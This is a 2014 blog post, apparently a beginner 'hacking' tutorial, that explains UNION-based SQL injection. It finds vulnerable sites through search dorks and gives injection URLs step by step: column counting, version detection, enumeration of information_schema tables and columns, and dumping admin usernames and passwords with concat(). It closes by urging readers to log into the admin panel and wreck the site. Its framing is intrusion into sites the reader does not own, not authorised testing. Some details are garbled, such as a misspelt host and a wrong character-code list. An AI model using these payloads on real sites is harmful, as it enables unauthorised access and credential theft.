BCA

Hack websites with sql injection - For Begginers

Friday, October 24, 2014
Hack websites with sql injection - For Begginers
                                



Hi Everbody
This tutorial is for newbies
how to hack website sql injection

What is Sql injection ?
SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an APPLICATION. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.


Now here is the method
Steps:-

1st :- First you have to find a vuln web.
You can use dorks for finding it !!
Suppose you have a vuln web
http://website.com?india.php=1

2nd :- Now we have to find Coulmns
For this we will add "order by 1--" , Kept the digit increasing until it gives error.

http://website.com/india.php?id=1 order by 1--
http://website.com/india.php?id=1 order by 2--
http://website.com/india.php?id=1 order by 3--
http://website.com/india.php?id=1 order by 4--

If it shows error like this
"You have an error in your SQL syntax; check the MANUAL that corresponds
to your MySQL server version for the right syntax to use near '\'39' at
line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=\'39"

3rd :- Now select Coulmns
Coulmns are 4
Keep increasing the digit until Coulms are found
http://wwbsite.com/india.php?id=1 UNION ALL SELECT 1,2,3,4--

4rth :- Finding version.
So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I will choose 1
http://website.com/india.php?id=1 UNION ALL SELECT @@version,2,3,4--
you got the version like this:
5.0.32-Debian_7etch11-log

5th :- Now We will find tables
http://website.com/india.php?id=1 UNION ALL SELECT table_name,2,3,4 from information_schema.tables--
And you will got tables like this:
PRODUCTS , Admin , and others
So must be there table by name: admin , users , user , login , client.

6th :- Now We have to find Coulmns in the tables . Forexample we will find Coulmns of table Admin
http://website.com/india.php?id=1 UNION ALL SELECT
column_name,2,3,4 from information_schema.columns where
table_name=char()--
Now
We found Admin table now go to ASCII web and convert Admin
You will got this Admin
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83
You put table_name=char(65,68,77,73,78,83)--
http://website.com/india.php?id=1 UNION ALL SELECT
column_name,2,3,4 from information_schema.columns where
table_name=char(65,68,77,73,78,83)--
And you will got the columns in table Admin
There need to have columns with names: username and password.

7th :- Now we will get username and password.
Now we put concat(username,0x3a,password) and admin
http://website.com/india.php?id=1 UNION ALL SELECT concat(username,0x3a,password),2,3,4 from admin--
( 0x3a is ASCII )

8th :- Now you will get username and password
Find admin panel and fu** the web

0 comments:

Post a Comment